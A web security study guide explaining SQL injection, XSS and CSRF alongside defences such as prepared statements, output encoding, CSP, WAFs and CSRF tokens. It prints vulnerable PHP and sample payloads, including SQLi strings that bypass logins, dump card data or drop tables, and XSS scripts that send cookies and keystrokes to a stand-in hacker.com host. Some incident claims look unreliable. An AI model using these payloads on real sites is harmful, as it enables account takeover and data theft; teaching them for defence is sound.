Web Security
π― Key Takeaways & Definition
Definition: Web Security (or Web Application Security) involves protecting websites and online services from different security threats that exploit vulnerabilities in an application's code.
Core Concept: Unlike Network Security (which protects the castle walls), Web Security protects the business inside the castle (the website/database).
The Big Three: The most common attacks are SQL Injection, XSS, and CSRF.
1. Definition of Web Security
Web security deals with the security of the application layer. Modern websites are not just static HTML pages; they are complex programs talking to databases. If the code is not secure, hackers can steal user data, deface the site, or take control of the server.
Why Web Security Matters
Scale of the Problem:
- β 43% of data breaches involve web applications (Verizon DBIR 2025)
- β Average cost of a web app breach: $4.45 million
- β 94% of applications have at least one security flaw (WhiteHat Security)
Attack Surface:
Modern web apps have massive attack surfaces:
- β’ User input forms (login, search, comments)
- β’ APIs (REST, GraphQL)
- β’ File uploads
- β’ Third-party integrations
- β’ Mobile apps connecting to web backends
- β’ IoT devices communicating with servers
Real-World Impact:
- π 2017 Equifax breach: SQL Injection-like flaw exposed 147 million records
- π 2019 Capital One breach: Web app misconfiguration exposed 100 million accounts
- π 2020 Twitter hack: Web app vulnerability led to high-profile account takeovers
2. Common Web Threats (The OWASP Top 10)
The OWASP (Open Web Application Security Project) Top 10 is the standard list of the most critical web security risks. We will focus on the top three for your exam.
OWASP Top 10 (2021):
- Broken Access Control
- Cryptographic Failures
- Injection (including SQL Injection)
- Insecure Design
- Security Misconfiguration
- Vulnerable and Outdated Components
- Identification and Authentication Failures
- Software and Data Integrity Failures
- Security Logging and Monitoring Failures
- Server-Side Request Forgery (SSRF)
We'll focus on Injection (SQL Injection), Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF)βthe "Big Three" that appear on every exam.
A. SQL Injection (SQLi) π
Definition:
An attack where the hacker inserts malicious SQL code into input fields (like a login form) to manipulate the backend database.
How It Works:
Vulnerable Code Example (PHP):
$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($connection, $query);
if (mysqli_num_rows($result) > 0) {
echo "Login successful!";
} else {
echo "Invalid credentials";
}Normal User Input:
Username: john
Password: mypassword
Query: SELECT * FROM users WHERE username='john' AND password='mypassword'
Result: Login succeeds if credentials match
Malicious Input (SQL Injection Attack):
Username: admin' --
Password: (anything)
Query: SELECT * FROM users WHERE username='admin' --' AND password='anything'
What happens: The -- is SQL comment syntax, so everything after is ignored
Actual query executed: SELECT * FROM users WHERE username='admin'
π¨ Result: Logs in as admin without needing password!
Attack Variations:
1. Bypass Authentication:
Input: ' OR '1'='1
Query becomes: SELECT * FROM users WHERE username='' OR '1'='1' AND password=''
Result: Always TRUE, logs in as first user (often admin)2. Data Extraction:
Input: ' UNION SELECT credit_card, cvv, expiry FROM payments --
Result: Dumps all credit card data3. Data Destruction:
Input: '; DROP TABLE users; --
Result: Deletes entire users table4. Blind SQL Injection:
When error messages hidden, attackers use TRUE/FALSE questions:
Input: ' AND 1=1 -- (page loads normally = TRUE)
Input: ' AND 1=2 -- (page behaves differently = FALSE)
Slowly extract data one bit at a time.Impact:
- π΄ Stealing passwords from user database
- π΄ Deleting entire database (DROP TABLE)
- π΄ Bypassing login screens (become admin without password)
- π΄ Extracting sensitive data (credit cards, medical records)
- π΄ Remote code execution (in some database configurations)
Real-World Examples:
- π 2015: VTech (toy company) - SQL Injection exposed 6.4 million children's accounts
- π 2012: Yahoo Voices - 450,000 passwords stolen via SQL Injection
- π 2011: Sony PlayStation Network - SQL Injection contributed to breach of 77 million accounts
B. Cross-Site Scripting (XSS) π·οΈ
Definition:
An attack where the hacker injects malicious client-side scripts (usually JavaScript) into web pages viewed by other users.
Types of XSS:
1. Stored XSS (Persistent):
- β’ Malicious script stored in database (e.g., blog comment)
- β’ Every user who views page gets infected
- β’ Most dangerous type
2. Reflected XSS (Non-Persistent):
- β’ Malicious script in URL parameter
- β’ Victim must click malicious link
- β’ Script reflected back in page
3. DOM-Based XSS:
- β’ JavaScript manipulates DOM without server involvement
- β’ Entire attack happens in browser
How Stored XSS Works:
Vulnerable Code Example (PHP):
<?php
$comment = $_POST['comment'];
// Save to database
$query = "INSERT INTO comments (text) VALUES ('$comment')";
mysqli_query($connection, $query);
// Display comments
$result = mysqli_query($connection, "SELECT * FROM comments");
while ($row = mysqli_fetch_assoc($result)) {
echo $row['text']; // Dangerous! No sanitization
}
?>Normal Comment:
User posts: "Great article!"
Displayed as: Great article!
Malicious Comment (XSS Attack):
User posts:
<script>document.location='http://hacker.com/steal.php?cookie='+document.cookie</script>β’ Stored in database as-is
β’ When ANYONE views the page:
- - Browser executes JavaScript
- - Sends their session cookie to hacker
- - Hacker can now impersonate them
XSS Attack Examples:
1. Cookie Stealing:
<script>
new Image().src="http://hacker.com/steal?c="+document.cookie;
</script>Sends session cookie to attacker, who can now impersonate victim.
2. Keylogging:
<script>
document.onkeypress = function(e) {
new Image().src="http://hacker.com/log?key="+e.key;
}
</script>Records every keystroke (passwords, messages).
3. Phishing:
<script>
document.body.innerHTML = '<div>Session expired. Please login again:</div>
<form action="http://hacker.com/phish">
<input name="user"><input type="password" name="pass"><input type="submit">
</form>';
</script>Replaces page with fake login form.
4. Defacement:
<script>
document.body.innerHTML = '<h1>HACKED BY SCRIPT KIDDIE</h1>';
</script>Changes website content.
Impact:
- π΄ Session hijacking (taking over your account)
- π΄ Stealing credentials via fake login forms
- π΄ Redirecting users to phishing/malware sites
- π΄ Spreading worms (MySpace Samy worm: 1 million friends in 20 hours)
- π΄ Cryptocurrency mining in victim's browser
Real-World Examples:
- π 2005: MySpace Samy worm - XSS made attacker "friend" of 1 million users
- π 2018: British Airways - XSS on payment page stole 380,000 credit cards
- π 2020: Zoom - XSS allowed attackers to join any meeting
C. Cross-Site Request Forgery (CSRF) π―
Definition:
An attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated.
How It Works:
Scenario:
- You log into your bank at bank.com
- Bank sets session cookie in your browser
- You visit a malicious site evil.com (while still logged into bank)
- evil.com contains hidden request to bank.com:
<img src="https://bank.com/transfer?amount=10000&to=hacker_account">- Your browser automatically sends your bank.com cookies with the request
- Bank thinks it's a legitimate request from you
- Money transferred to attacker
Visual Example:
Legitimate Transfer:
User clicks "Transfer $100" button on bank website β Browser sends: POST bank.com/transfer Cookie: session_id=abc123 Body: amount=100&to=friend β Bank verifies session, processes transfer
CSRF Attack:
User visits evil.com while logged into bank β evil.com contains: <form action="bank.com/transfer" method="POST"> <input name="amount" value="10000"> <input name="to" value="hacker"> </form> <script>document.forms[0].submit();</script> β Browser automatically sends: Cookie: session_id=abc123 (still valid!) Body: amount=10000&to=hacker β Bank thinks it's legitimate (correct cookie!) β Transfer succeeds
π Key Point:
The bank can't tell the difference between a request you intentionally made on their site vs. a request triggered by another site, because both include your valid session cookie!
Attack Variations:
1. GET-based CSRF:
<!-- Silently loads image, triggers transfer -->
<img src="https://bank.com/transfer?amount=1000&to=hacker" width="0" height="0">2. POST-based CSRF:
<form action="https://bank.com/transfer" method="POST" id="csrf">
<input name="amount" value="1000">
<input name="to" value="hacker">
</form>
<script>document.getElementById('csrf').submit();</script>3. Social Engineering CSRF:
Email: "Click here to see cute puppies!"
Link actually: https://bank.com/transfer?amount=5000&to=attacker
Analogy:
It's like a hacker moving your hand to sign a check while you aren't looking.
You're authenticated (your hand is real), but the action isn't intentional.
Impact:
- π΄ Unauthorized financial transactions (transfers, purchases)
- π΄ Account changes (email, password, settings)
- π΄ Social media actions (post spam, follow attackers)
- π΄ Admin actions (if admin logged in: create accounts, change permissions)
Real-World Examples:
- π 2008: Netflix - CSRF changed user email/password
- π 2012: YouTube - CSRF allowed mass-following of attacker's channel
- π 2020: TikTok - CSRF could delete videos or upload content
β οΈ SQLi vs. XSS (The Confusion Point)
| Feature | SQL Injection (SQLi) | Cross-Site Scripting (XSS) |
|---|---|---|
| Target | The Database (Server-side) | The User's Browser (Client-side) |
| Language | Uses SQL commands | Uses JavaScript / HTML |
| Where Attack Injected | Server (form inputs, URLs) | Web page (comments, profile, search) |
| Who Gets Hurt | Website/company (data stolen) | Other users (session hijacked) |
| Goal | Steal/Delete data from database | Steal cookies, redirect users, phish |
| Example Payload | ' OR '1'='1' -- | <script>alert('XSS')</script> |
| Defense | Prepared Statements (Parameterized queries) | Output Encoding + Content Security Policy |
| Impact | Access entire database, delete tables | Hijack individual user sessions |
| Affected Party | Business (data breach) | End users (personal accounts) |
π‘ Memory Trick:
- β’ SQLi = Server Query Language = attacks SERVER/Database
- β’ XSS = X marks the (browser) spot = attacks CLIENT/User
3. Web Security Mechanisms
How do we stop these attacks?
A. Secure Socket Layer (SSL) / Transport Layer Security (TLS) Γ°ΕΈβΒ
Definition:
Protocols for establishing authenticated and encrypted links between networked computers.
Function:
It turns HTTP (insecure) into HTTPS (secure). It ensures that no one can "sniff" your password while it travels from your laptop to the server.
How TLS Works (Simplified):
1. Handshake (Establishing Secure Connection):
Browser β Server: "Hello, I want HTTPS" Server β Browser: "Here's my certificate (signed by trusted CA)" Browser verifies certificate is valid Browser generates symmetric session key Browser encrypts session key with server's public key Server decrypts session key with private key Both now have shared session key
2. Encrypted Communication:
All subsequent data encrypted with session key Eavesdropper sees: Xy7#k9@mZ... (gibberish) Only browser and server can decrypt
Visual Indicators:
- π Padlock icon in browser address bar
- π’ Green bar for Extended Validation (EV) certificates
- π URL starts with
https://
What TLS Protects Against:
- β Eavesdropping: ISP/hacker can't read data
- β Man-in-the-Middle: Can't intercept and modify data
- β Impersonation: Certificate proves server identity
What TLS Does NOT Protect Against:
- Γ’ΒΕ XSS, SQL Injection, CSRF (application-layer attacks)
- Γ’ΒΕ Malware on user's computer
- Γ’ΒΕ Social engineering
- Γ’ΒΕ Vulnerabilities in server code
TLS Versions:
- β’ TLS 1.0/1.1: Deprecated (vulnerable)
- β’ TLS 1.2: Current minimum standard
- β’ TLS 1.3: Latest, faster and more secure
Certificate Authorities (CAs):
- β’ Trusted CAs: DigiCert, Let's Encrypt, GlobalSign
- β’ Browser trust store: Contains list of trusted CAs
- β’ Certificate expiry: Typically 1-2 years (Let's Encrypt: 90 days)
B. Input Validation (Sanitization) π§Ή
Definition:
The practice of checking every piece of data a user enters before processing it.
Example:
If a field asks for "Age," the code should reject anything that isn't a number. This stops SQL Injection code from being processed.
Types of Validation:
1. Whitelist Validation (Preferred):
// Only allow letters and numbers
if (preg_match('/^[a-zA-Z0-9]+$/', $username)) {
// Valid
} else {
die("Invalid username");
}2. Blacklist Validation (Weaker):
// Block specific dangerous characters
$username = str_replace(["'", '"', ";", "--"], "", $username);
// Problem: Attackers find new ways around blacklist3. Type Checking:
$age = (int)$_POST['age']; // Force to integer
if ($age < 0 || $age > 150) {
die("Invalid age");
}Defense Against SQL Injection - Prepared Statements:
Vulnerable Code:
$query = "SELECT * FROM users WHERE username='$username'";Secure Code (Prepared Statement):
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
$stmt->execute([$username]);
// Even if $username contains SQL, it's treated as DATA, not CODEHow Prepared Statements Work:
- 1. SQL query template sent to database first
- 2. User input sent separately as parameters
- 3. Database knows structure of query beforehand
- 4. User input can NEVER change query logic
Defense Against XSS - Output Encoding:
Vulnerable Code:
echo $user_comment; // Dangerous!Secure Code:
echo htmlspecialchars($user_comment, ENT_QUOTES, 'UTF-8');
// Converts < to <, > to >, etc.
// <script> becomes <script> (displayed as text, not executed)Client-Side Validation vs. Server-Side:
- β’ Client-side (JavaScript): Convenience only, easy to bypass
- β’ Server-side (PHP/Python/Java): Security requirement, cannot be bypassed
- β’ Best practice: Do both (client for UX, server for security)
C. Web Application Firewall (WAF) π‘οΈ
Definition:
A specific firewall that sits in front of a web application and inspects traffic for web-specific attacks (like SQLi patterns) that a normal network firewall might miss.
How WAF Works:
Traditional Network Firewall:
Checks: Source IP, Destination Port, Protocol
Allows/Blocks based on: Network layer (Layer 3/4)
Cannot see: Contents of HTTP request
Web Application Firewall (WAF):
Checks: HTTP headers, URL parameters, POST data, cookies
Analyzes: SQL injection patterns, XSS scripts, known attack signatures
Blocks: Malicious requests before reaching web server
Logs: All suspicious activity for analysis
WAF Placement:
Internet β WAF β Load Balancer β Web Servers β Database
β
Blocks attacks here
(before reaching app)Detection Methods:
1. Signature-Based:
Blocks known attack patterns:
- ' OR '1'='1
- <script>alert('XSS')</script>
- UNION SELECT2. Behavioral Analysis:
Detects abnormal behavior:
- 100 requests per second (DDoS)
- Accessing /admin when not logged in
- Downloading entire database3. Machine Learning:
Learns normal traffic patterns
Flags deviations as suspicious
Adapts to new attack typesPopular WAF Solutions:
- β’ Cloud WAFs: Cloudflare, AWS WAF, Azure Front Door
- β’ On-Premise: ModSecurity, Imperva, F5
- β’ Open-Source: ModSecurity (OWASP Core Rule Set)
Limitations:
- β’ False positives: May block legitimate traffic
- β’ Performance overhead: Adds latency
- β’ Bypass techniques: Sophisticated attackers can evade
- β’ Not a replacement for secure coding
D. Content Security Policy (CSP) π
Definition:
HTTP header that tells the browser which scripts are safe to execute, blocking XSS attacks.
How CSP Works:
Without CSP:
<!-- ANY script will execute -->
<script>alert('XSS')</script> β Executes
<script src="http://evil.com/hack.js"></script> β ExecutesWith CSP:
HTTP Header:
Content-Security-Policy: script-src 'self' https://trusted.com
Only scripts from SAME domain or trusted.com will execute
All inline scripts blocked by defaultCSP Example:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://apis.google.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
font-src 'self' https://fonts.gstatic.com;
connect-src 'self' https://api.example.com;
frame-ancestors 'none';Explanation:
- β’
default-src 'self': By default, only load from same origin - β’
script-src: JavaScript only from own site + Google APIs - β’
style-src 'unsafe-inline': Allow inline CSS (less secure but common) - β’
frame-ancestors 'none': Prevent clickjacking (can't be framed)
Benefits:
- β Blocks inline scripts: Defeats most XSS attacks
- β Whitelist approach: Only trusted sources
- β Reports violations: Can log attempted attacks
Limitations:
- β’ Breaks older code: Many sites use inline scripts
- β’ Complex to configure: Requires careful tuning
- β’ Browser support: Older browsers ignore CSP
E. CSRF Tokens π«
Definition:
Unique, unpredictable tokens embedded in forms to verify requests are intentional.
How CSRF Tokens Work:
1. Server generates random token:
$csrf_token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $csrf_token;2. Token embedded in form:
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="a3f7b9c2...">
<input name="amount">
<input name="to">
<button type="submit">Transfer</button>
</form>3. Server validates token on submission:
if ($_POST['csrf_token'] !== $_SESSION['csrf_token']) {
die("CSRF attack detected!");
}
// Process transferWhy This Works:
- β’ Attacker can't guess token (random, unique per session)
- β’ Attacker can't read token from another domain (Same-Origin Policy)
- β’ Token changes every session (can't reuse old token)
CSRF Attack Fails:
evil.com tries:
<form action="bank.com/transfer" method="POST">
<input name="csrf_token" value="???"> Γ’β Β Don't know token!
<input name="amount" value="1000">
</form>
Bank receives request:
- Valid session cookie β
- Invalid/missing CSRF token β
- Request rejectedAdditional CSRF Defenses:
1. SameSite Cookie Attribute:
setcookie('session_id', $session, [
'samesite' => 'Strict' // Cookie only sent from same site
]);2. Double Submit Cookie:
Set cookie: csrf_token=xyz123
Require form field: csrf_token=xyz123
Both must match3. Referer Header Validation:
if (parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST) !== 'bank.com') {
die("Invalid referer");
}
// Less reliable (can be spoofed)4. Best Practices for Web Security
Use HTTPS Everywhere π
Encrypt ALL traffic, even for "public" pages.
Why:
- β’ Prevents eavesdropping on public Wi-Fi
- β’ Required for modern browser features (geolocation, camera)
- β’ SEO benefit (Google ranks HTTPS higher)
- β’ Trust signal (padlock icon)
How:
- β’ Get free certificate from Let's Encrypt
- β’ Configure server to redirect HTTP β HTTPS
- β’ Enable HSTS (HTTP Strict Transport Security)
Keep Software Updated π
Patch your CMS (WordPress, Drupal) and plugins.
Statistics:
- β’ 60% of breaches exploit known vulnerabilities with available patches
- β’ WordPress plugins average 1 vulnerability per 100 lines of code
Best Practices:
- β’ Enable auto-updates for minor patches
- β’ Subscribe to security advisories
- β’ Remove unused plugins/themes
- β’ Use vulnerability scanners (WPScan, OWASP Dependency-Check)
Use Prepared Statements π
The only 100% cure for SQL Injection.
Why It Works:
- β’ SQL structure defined first
- β’ User input treated as DATA, never CODE
- β’ No amount of special characters can break out
All Major Languages Support:
- β’ PHP: PDO/MySQLi prepared statements
- β’ Python: parameterized queries
- β’ Java: PreparedStatement
- β’ C#: SqlCommand with parameters
Implement Content Security Policy (CSP) π
Tells browser which scripts are safe, blocking XSS.
Deployment Strategy:
- 1. Start with
Content-Security-Policy-Report-Only(monitor, don't block) - 2. Review violation reports
- 3. Adjust policy to allow legitimate scripts
- 4. Switch to enforcement mode
Principle of Least Privilege Γ°ΕΈβΒ
Database user for web app should NOT have DROP TABLE privileges.
Example:
-- Bad: Web app uses admin account
GRANT ALL PRIVILEGES ON database.* TO 'webapp'@'localhost';
-- Good: Web app has limited permissions
GRANT SELECT, INSERT, UPDATE ON database.* TO 'webapp'@'localhost';
-- Cannot DROP tables, even if SQL injection succeedsSecurity Headers π‘οΈ
Essential HTTP Headers:
X-Frame-Options: DENY
(Prevents clickjacking)
X-Content-Type-Options: nosniff
(Prevents MIME-type attacks)
X-XSS-Protection: 1; mode=block
(Legacy XSS filter)
Strict-Transport-Security: max-age=31536000
(Forces HTTPS for 1 year)
Content-Security-Policy: default-src 'self'
(Blocks XSS)
Referrer-Policy: strict-origin-when-cross-origin
(Controls referrer leakage)Check Your Site:
Input Validation + Output Encoding π§Ή
Defense in Depth:
- β’ Validate on input: Reject bad data early
- β’ Encode on output: Escape HTML/JavaScript characters
- β’ Never trust user input: Even from "trusted" users
Example:
// Input validation
$email = filter_input(INPUT_POST, 'email', FILTER_VALIDATE_EMAIL);
if (!$email) die("Invalid email");
// Output encoding
echo "Welcome, " . htmlspecialchars($username, ENT_QUOTES, 'UTF-8');Regular Security Audits Γ°ΕΈβΒ
Tools:
- β’ Automated scanners: OWASP ZAP, Burp Suite, Nikto
- β’ Dependency checkers: Snyk, npm audit, pip-audit
- β’ Penetration testing: Professional ethical hackers
- β’ Bug bounty programs: HackerOne, Bugcrowd
Frequency:
- β’ Automated scans: Weekly
- β’ Manual audits: Quarterly
- β’ Pen tests: Annually or after major changes
Conclusion
Web Security is the frontline defense for modern applications. While Network Security protects the infrastructure, Web Security protects the data and logic that businesses depend on. The "Big Three" vulnerabilitiesβSQL Injection, Cross-Site Scripting (XSS), and Cross-Site Request Forgery (CSRF)βremain the most exploited attack vectors, but all can be prevented with proper coding practices.
Remember:
- β SQL Injection = Attacks database via malicious SQL
- β XSS = Attacks users via malicious JavaScript
- β CSRF = Tricks authenticated users into unwanted actions
- β HTTPS/TLS = Encrypts traffic but doesn't fix code vulnerabilities
- β Prepared Statements = 100% cure for SQL Injection
- β Output Encoding + CSP = Best defense against XSS
- β CSRF Tokens = Verify intentional requests
- β Input Validation = First line of defense
- β WAF = Additional layer for known attack patterns
- β Security is a process, not a product!
The future: WebAssembly security, API security (GraphQL/REST), serverless security challenges, and AI-powered attack detection will shape the next generation of web security! π